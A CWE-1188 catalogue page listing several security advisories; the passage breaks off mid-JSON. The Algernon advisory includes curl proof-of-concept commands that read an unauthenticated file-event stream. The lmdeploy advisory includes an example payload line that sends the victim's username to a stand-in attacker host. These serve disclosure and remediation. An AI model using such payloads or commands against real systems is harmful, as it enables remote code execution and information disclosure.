Common Weakness Enumeration

CWE-1188

Allowed

Initialization of a Resource with an Insecure Default

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.

402 vulnerabilities reference this CWE, most recent first.

GHSA-9R9J-4GGM-J47R

Vulnerability from github – Published: 2022-05-24 19:05 – Updated: 2022-05-24 19:05
VLAI
Details

In permission declarations of DeviceAdminReceiver.java, there is a possible lack of broadcast protection due to an insecure default value. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11Android ID: A-170639543

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-0534"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-22T11:15:00Z",
    "severity": "HIGH"
  },
  "details": "In permission declarations of DeviceAdminReceiver.java, there is a possible lack of broadcast protection due to an insecure default value. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11Android ID: A-170639543",
  "id": "GHSA-9r9j-4ggm-j47r",
  "modified": "2022-05-24T19:05:57Z",
  "published": "2022-05-24T19:05:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0534"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2021-06-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9V4J-7G44-QCQW

Vulnerability from github – Published: 2026-05-19 14:36 – Updated: 2026-05-19 14:36
VLAI
Summary
Algernon: Auto-refresh SSE event server binds to all interfaces with Access-Control-Allow-Origin: * and no authentication
Details

Summary

When auto-refresh is enabled, Algernon spins up an SSE handler that streams a data: line for every filesystem event under the watched directory. The handler performs no authentication of any kind — no shared token, no cookie check against the permissions2 userstate, no IP allow-list, no path-prefix permission. Any client that can complete a TCP connection to the listener address receives the stream.

This advisory covers the authentication gap in isolation. The cross-origin browser-reach (advisory #2b) and the network-reach (advisory #2c) amplify the impact, but each is independently fixable; this finding addresses the case where a same-origin or LAN-local client connects directly to the SSE port and reads the stream without proving anything about its identity.

Details

Root cause — the SSE handler does not consult permissions2 or any other auth

// vendor/github.com/xyproto/recwatch/eventserver.go:100-144  (1.17.6)
func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {
    return func(w http.ResponseWriter, _ *http.Request) {
        w.Header().Set("Content-Type", "text/event-stream;charset=utf-8")
        w.Header().Set("Cache-Control", "no-cache")
        w.Header().Set("Connection", "keep-alive")
        w.Header().Set("Access-Control-Allow-Origin", allowed)
        // ... loop emits one SSE record per filename touched ...
    }
}

Note the handler signature: func(w http.ResponseWriter, _ *http.Request). The request is discarded — no Cookie, Authorization, query-string, or remote-IP check is performed before the stream begins.

In 1.17.6 the listener was placed on its own http.ServeMux (recwatch/eventserver.go:200-215), wholly outside the perm.Rejected middleware chain that gates Algernon's main HTTP listener. Even an operator who had configured admin/user path prefixes via perm.AddAdminPath, set a cookieSecret, and forced authentication on every URL of the main server had no way to gate this listener — it was unreachable from the mux argument the perm middleware uses.

Why authentication matters for this listener

The stream contents are not public data. They reveal:

  • Which files the developer is actively editing, with sub-second timing precision.
  • The existence of files inside the watched root (including files the operator may have meant to keep private — .env.local, secrets.lua, in-progress draft files).
  • By inference, the directory layout of the project.

A client that can connect to the listener obtains a low-rate continuous information disclosure for the lifetime of the connection. The handler is an infinite for {} loop — there is no natural session boundary or expiry.

Source-level evidence

$ rg -n 'GenFileChangeEvents|EventServer\(' vendor/github.com/xyproto/recwatch/
vendor/github.com/xyproto/recwatch/eventserver.go:101:func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {
vendor/github.com/xyproto/recwatch/eventserver.go:177:func EventServer(path, allowed, eventAddr, eventPath string, refreshDuration time.Duration) {

$ rg -n 'Cookie|Authorization|Token|state\.User' vendor/github.com/xyproto/recwatch/eventserver.go
# zero matches — no authentication primitive is referenced anywhere in the file

PoC (against 1.17.6)

# 1. Operator runs algernon with auto-refresh on a project directory:
algernon -a /path/to/project   # spins up :5553 on Linux/macOS, localhost:5553 on Windows

# 2. Any client that can reach the listener connects without credentials:
curl -sN http://<server>:5553/sse
# => id: 0
#    data: /path/to/project/secret-notes.md
#
#    id: 1
#    data: /path/to/project/.env.local

No Cookie, no Authorization, no X-Token, no preflight, no challenge. The connection succeeds and the stream is delivered for as long as the client keeps the socket open.

Impact

  • Confidentiality: medium. Continuous information disclosure of filenames and edit timing to anyone who can connect.
  • Integrity: none.
  • Availability: low. Each connection consumes a goroutine indefinitely; many simultaneous connections can exhaust descriptors.

Suggestions to fix

Primary fix — require a shared secret on the SSE endpoint. The auto-refresh feature already injects a script into served HTML (engine/sse.go:118-165); that script knows the SSE URL. Add a per-startup token, embed it in the injected JS, and require it on the SSE request:

// engine/sse.go -- in InsertAutoRefresh
tmplData.SessionToken = ac.sseToken    // generated once at startup, e.g. crypto/rand 32 bytes

// JS:
//   var source = new EventSource('...?token={{.SessionToken}}');

// recwatch handler:
//   if subtle.ConstantTimeCompare([]byte(r.URL.Query().Get("token")),
//                                 []byte(serverToken)) != 1 {
//       http.Error(w, "forbidden", http.StatusForbidden); return
//   }

Cookie-bearing requests work too if recwatch.EventServer is moved behind perm.Rejected (see "Defence in depth"). The token approach is the smaller change.

Defence in depth — mount the SSE handler on the main mux. Moving recwatch.EventServerHandler onto the main http.ServeMux automatically places the SSE handler behind whatever middleware the operator has configured — perm.Rejected, tollbooth, custom auth wrappers. This closes the same-origin half of the gap without a per-token implementation. Any dedicated-port path bypasses perm.Rejected because it uses its own http.ServeMux, and that path needs the token fix from "Primary fix" above.

Live verification

$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18781 --quiet poc2/site
$ ( curl -sN --max-time 4 http://127.0.0.1:5553/sse > stream.txt &
    sleep 1
    echo "edit-1" >> poc2/site/secret-notes.md
    echo "edit-2" >> poc2/site/.env.local
    wait )
$ cat stream.txt
id: 0
data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\secret-notes.md

id: 1
data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\.env.local

No Cookie, no Authorization header. Stream delivered.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.17.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/xyproto/algernon"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-200",
      "CWE-306",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T14:36:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWhen auto-refresh is enabled, Algernon spins up an SSE handler that streams a `data:` line for every filesystem event under the watched directory. The handler performs **no authentication** of any kind \u2014 no shared token, no cookie check against the `permissions2` userstate, no IP allow-list, no path-prefix permission. Any client that can complete a TCP connection to the listener address receives the stream.\n\nThis advisory covers the authentication gap in isolation. The cross-origin browser-reach (advisory #2b) and the network-reach (advisory #2c) amplify the impact, but each is independently fixable; this finding addresses the case where a same-origin or LAN-local client connects directly to the SSE port and reads the stream without proving anything about its identity.\n\n### Details\n\n#### Root cause \u2014 the SSE handler does not consult `permissions2` or any other auth\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go:100-144  (1.17.6)\nfunc GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {\n    return func(w http.ResponseWriter, _ *http.Request) {\n        w.Header().Set(\"Content-Type\", \"text/event-stream;charset=utf-8\")\n        w.Header().Set(\"Cache-Control\", \"no-cache\")\n        w.Header().Set(\"Connection\", \"keep-alive\")\n        w.Header().Set(\"Access-Control-Allow-Origin\", allowed)\n        // ... loop emits one SSE record per filename touched ...\n    }\n}\n```\n\nNote the handler signature: `func(w http.ResponseWriter, _ *http.Request)`. The request is discarded \u2014 no `Cookie`, `Authorization`, query-string, or remote-IP check is performed before the stream begins.\n\nIn 1.17.6 the listener was placed on its own `http.ServeMux` ([recwatch/eventserver.go:200-215](../vendor/github.com/xyproto/recwatch/eventserver.go)), wholly outside the `perm.Rejected` middleware chain that gates Algernon\u0027s main HTTP listener. Even an operator who had configured admin/user path prefixes via `perm.AddAdminPath`, set a `cookieSecret`, and forced authentication on every URL of the main server had no way to gate this listener \u2014 it was unreachable from the `mux` argument the perm middleware uses.\n\n#### Why authentication matters for this listener\n\nThe stream contents are not public data. They reveal:\n\n- Which files the developer is actively editing, with sub-second timing precision.\n- The existence of files inside the watched root (including files the operator may have meant to keep private \u2014 `.env.local`, `secrets.lua`, in-progress draft files).\n- By inference, the directory layout of the project.\n\nA client that can connect to the listener obtains a low-rate continuous information disclosure for the lifetime of the connection. The handler is an infinite `for {}` loop \u2014 there is no natural session boundary or expiry.\n\n#### Source-level evidence\n\n```text\n$ rg -n \u0027GenFileChangeEvents|EventServer\\(\u0027 vendor/github.com/xyproto/recwatch/\nvendor/github.com/xyproto/recwatch/eventserver.go:101:func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {\nvendor/github.com/xyproto/recwatch/eventserver.go:177:func EventServer(path, allowed, eventAddr, eventPath string, refreshDuration time.Duration) {\n\n$ rg -n \u0027Cookie|Authorization|Token|state\\.User\u0027 vendor/github.com/xyproto/recwatch/eventserver.go\n# zero matches \u2014 no authentication primitive is referenced anywhere in the file\n```\n\n### PoC (against 1.17.6)\n\n```bash\n# 1. Operator runs algernon with auto-refresh on a project directory:\nalgernon -a /path/to/project   # spins up :5553 on Linux/macOS, localhost:5553 on Windows\n\n# 2. Any client that can reach the listener connects without credentials:\ncurl -sN http://\u003cserver\u003e:5553/sse\n# =\u003e id: 0\n#    data: /path/to/project/secret-notes.md\n#\n#    id: 1\n#    data: /path/to/project/.env.local\n```\n\nNo `Cookie`, no `Authorization`, no `X-Token`, no preflight, no challenge. The connection succeeds and the stream is delivered for as long as the client keeps the socket open.\n\n### Impact\n\n- **Confidentiality:** medium. Continuous information disclosure of filenames and edit timing to anyone who can connect.\n- **Integrity:** none.\n- **Availability:** low. Each connection consumes a goroutine indefinitely; many simultaneous connections can exhaust descriptors.\n\n### Suggestions to fix\n\n**Primary fix \u2014 require a shared secret on the SSE endpoint.** The auto-refresh feature already injects a script into served HTML ([engine/sse.go:118-165](../engine/sse.go)); that script knows the SSE URL. Add a per-startup token, embed it in the injected JS, and require it on the SSE request:\n\n```go\n// engine/sse.go -- in InsertAutoRefresh\ntmplData.SessionToken = ac.sseToken    // generated once at startup, e.g. crypto/rand 32 bytes\n\n// JS:\n//   var source = new EventSource(\u0027...?token={{.SessionToken}}\u0027);\n\n// recwatch handler:\n//   if subtle.ConstantTimeCompare([]byte(r.URL.Query().Get(\"token\")),\n//                                 []byte(serverToken)) != 1 {\n//       http.Error(w, \"forbidden\", http.StatusForbidden); return\n//   }\n```\n\nCookie-bearing requests work too if `recwatch.EventServer` is moved behind `perm.Rejected` (see \"Defence in depth\"). The token approach is the smaller change.\n\n**Defence in depth \u2014 mount the SSE handler on the main mux.** Moving `recwatch.EventServerHandler` onto the main `http.ServeMux` automatically places the SSE handler behind whatever middleware the operator has configured \u2014 `perm.Rejected`, `tollbooth`, custom auth wrappers. This closes the same-origin half of the gap without a per-token implementation. Any dedicated-port path bypasses `perm.Rejected` because it uses its own `http.ServeMux`, and that path needs the token fix from \"Primary fix\" above.\n\n### Live verification\n\n```\n$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18781 --quiet poc2/site\n$ ( curl -sN --max-time 4 http://127.0.0.1:5553/sse \u003e stream.txt \u0026\n    sleep 1\n    echo \"edit-1\" \u003e\u003e poc2/site/secret-notes.md\n    echo \"edit-2\" \u003e\u003e poc2/site/.env.local\n    wait )\n$ cat stream.txt\nid: 0\ndata: C:\\Users\\xbox\\Desktop\\VulnTesting\\algernon-main\\poc-test\\poc2\\site\\secret-notes.md\n\nid: 1\ndata: C:\\Users\\xbox\\Desktop\\VulnTesting\\algernon-main\\poc-test\\poc2\\site\\.env.local\n```\n\nNo `Cookie`, no `Authorization` header. Stream delivered.",
  "id": "GHSA-9v4j-7g44-qcqw",
  "modified": "2026-05-19T14:36:34Z",
  "published": "2026-05-19T14:36:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xyproto/algernon/security/advisories/GHSA-9v4j-7g44-qcqw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xyproto/algernon"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Algernon: Auto-refresh SSE event server binds to all interfaces with Access-Control-Allow-Origin: * and no authentication"
}

GHSA-9VJ9-GVM3-4FXV

Vulnerability from github – Published: 2022-05-13 01:19 – Updated: 2022-05-13 01:19
VLAI
Details

eVisitorPass contains default administrative credentials. An attacker could exploit this vulnerability to gain full access to the application.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-17497"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-03-21T16:00:00Z",
    "severity": "HIGH"
  },
  "details": "eVisitorPass contains default administrative credentials. An attacker could exploit this vulnerability to gain full access to the application.",
  "id": "GHSA-9vj9-gvm3-4fxv",
  "modified": "2022-05-13T01:19:27Z",
  "published": "2022-05-13T01:19:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-17497"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/149657"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9W95-XVPV-CVJW

Vulnerability from github – Published: 2026-05-28 21:32 – Updated: 2026-05-28 21:32
VLAI
Details

A configuration weakness in the device’s remote management service allows an authenticated session to be established over a communication channel intended solely for vehicle-charger signaling. The service is accessible on interfaces exposed through the charging connector, and it accepts a default administrative credential. A malicious device physically connected to the charging interface could leverage this misconfiguration to obtain full administrative access.

Severity
8.6 (High)
CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-9039"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-28T20:16:27Z",
    "severity": "HIGH"
  },
  "details": "A configuration weakness in the device\u2019s remote management service allows an authenticated session to be established over a communication channel intended solely for vehicle-charger signaling. The service is accessible on interfaces exposed through the charging connector, and it accepts a default administrative credential. A malicious device physically connected to the charging interface could leverage this misconfiguration to obtain full administrative access.",
  "id": "GHSA-9w95-xvpv-cvjw",
  "modified": "2026-05-28T21:32:04Z",
  "published": "2026-05-28T21:32:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9039"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-148-08"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9W96-QXJ6-GFF4

Vulnerability from github – Published: 2022-05-24 17:33 – Updated: 2022-05-24 17:33
VLAI
Details

Insecure default variable initialization in some Intel(R) Thunderbolt(TM) DCH drivers for Windows* before version 72 may allow a privileged user to potentially enable information disclosure via local access.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-12327"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-12T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Insecure default variable initialization in some Intel(R) Thunderbolt(TM) DCH drivers for Windows* before version 72 may allow a privileged user to potentially enable information disclosure via local access.",
  "id": "GHSA-9w96-qxj6-gff4",
  "modified": "2022-05-24T17:33:34Z",
  "published": "2022-05-24T17:33:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12327"
    },
    {
      "type": "WEB",
      "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00422"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9XQ9-36W5-Q796

Vulnerability from github – Published: 2026-05-21 19:33 – Updated: 2026-06-10 13:41
VLAI
Summary
lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out
Details

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim: * It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it. * It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim: * Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name. * LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30). * The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

  • Repository: github.com/InternLM/lmdeploy, branch main.
  • Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
  • Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

  1. HF Transformers downloads the .py file from the repo.
  2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
  3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

  • Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
  • CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
  • Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

Project trust_remote_code default User control
HuggingFace Transformers False trust_remote_code keyword arg
vLLM False --trust-remote-code flag
LMDeploy True (hardcoded) None
TGI False --trust-remote-code flag

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

  1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
  2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
  3. 90-day coordinated-disclosure window starting from acknowledgement.
  4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lmdeploy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.12.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-915",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-21T19:33:32Z",
    "nvd_published_at": "2026-06-10T00:16:53Z",
    "severity": "HIGH"
  },
  "details": "\u003e ## \ud83d\udccb Reframing (2026-05-02): implicit unsafe remote-code path, not \"supply-chain\"\n\u003e\n\u003e The accurate description of this vulnerability is:\n\u003e **\"`get_model_arch` and related helpers hardcode `trust_remote_code=True`\n\u003e with no opt-out, creating an implicit unsafe remote-code load path\n\u003e on every model fetch.\"**\n\u003e\n\u003e What this report does NOT claim:\n\u003e * It is NOT a network-attack RCE \u2014 the user supplies the model\n\u003e   reference; LMDeploy honors it.\n\u003e * It is NOT a \"supply chain\" CVE in the classical sense (where a\n\u003e   benign upstream is compromised) \u2014 the user explicitly types the\n\u003e   repo name.\n\u003e\n\u003e What this report DOES claim:\n\u003e * Other inference frameworks (vLLM, TGI, Hugging Face transformers\n\u003e   itself) all expose `--trust-remote-code` as **opt-in** so that\n\u003e   users who consciously load known-safe repos can opt in, while\n\u003e   users following a tutorial cannot accidentally execute attacker\n\u003e   Python by typing a wrong repo name.\n\u003e * LMDeploy\u0027s hardcoded True is an **implicit** trust-boundary\n\u003e   override that violates HF Transformers\u0027 default-secure stance\n\u003e   (`trust_remote_code=False` since transformers \u2265 4.30).\n\u003e * The fix is a one-line CLI flag (`--trust-remote-code`) defaulting\n\u003e   False, threaded through the three sites, matching the rest of\n\u003e   the ecosystem.\n\u003e\n\u003e Severity should be assessed as **hardening / safe-by-default**,\n\u003e not as full unauthenticated RCE. CVSS revised to **5.5 Medium**\n\u003e (`AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` \u00d7 user-must-load qualifier).\n\u003e\n\u003e Runtime evidence: see `12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt`.\n\n---\n\n# F13 \u2014 LMDeploy: hardcoded `trust_remote_code=True` enables HF supply-chain RCE without user opt-in\n\n**Reporter:** ibondarenko1 / sactransport2000@gmail.com\n**Coordinated-disclosure window:** 90 days from initial vendor email.\n\n## TL;DR\n\nLMDeploy unilaterally passes `trust_remote_code=True` to\n`transformers.AutoConfig.from_pretrained()` (and several other\n`from_pretrained` callers) **regardless of any user opt-in**. The\nflag is hardcoded `True` in source \u2014 there is no CLI flag, no\nenvironment variable, no parameter, and no warning that lets a\nuser refuse remote code execution from the model repository.\nThis is a **silent override of HuggingFace Transformers\u0027 own\ndefault-secure stance** (`trust_remote_code=False`) introduced\nin HF Transformers \u2265 4.30 specifically to prevent this class of\nsupply-chain RCE.\n\nThe user running `lmdeploy serve api_server \u003cattacker_repo\u003e`,\n`lmdeploy lite calibrate \u003cattacker_repo\u003e`, etc. has **no way to\nopt out**. The only escape hatch is for the user to never load\nany third-party HF repo with LMDeploy \u2014 which is incompatible\nwith LMDeploy\u0027s documented use case.\n\nHuggingFace\u0027s `trust_remote_code=False` default exists exactly to\nprevent silent RCE when loading a third-party repo. LMDeploy overrides\nthis default, restoring the unsafe behaviour transparently. A malicious\nHF repo with a `configuration_*.py` shim runs Python code as the\nLMDeploy user at the very first call to `get_model_arch(...)`.\n\nThis is a documented anti-pattern (see HF Hub docs:\n\"Trusting custom code is therefore tricky...\"). Multiple peer\nprojects fixed similar issues \u2014 e.g. Hugging Face Transformers\nitself made this opt-in by default, and `vllm` exposes the flag\nthrough `--trust-remote-code` rather than hardcoding it.\n\n## Affected version\n\n* Repository: `github.com/InternLM/lmdeploy`, branch `main`.\n* Branch SHA at audit time: `9df0eff7c38ae69b9d4b9f7ad1441e484d439f92`\n  (2026-05-02).\n* Pinned blob SHAs:\n  * `lmdeploy/archs.py` \u2192 `68fa03a407734be1e2ae04098d34e9acdbe98262`\n  * `lmdeploy/lite/apis/calibrate.py` \u2192\n    `0728304bdc3c03eee1d790bfbd5496df080a0ecd`\n  * `lmdeploy/lite/utils/load.py` \u2192\n   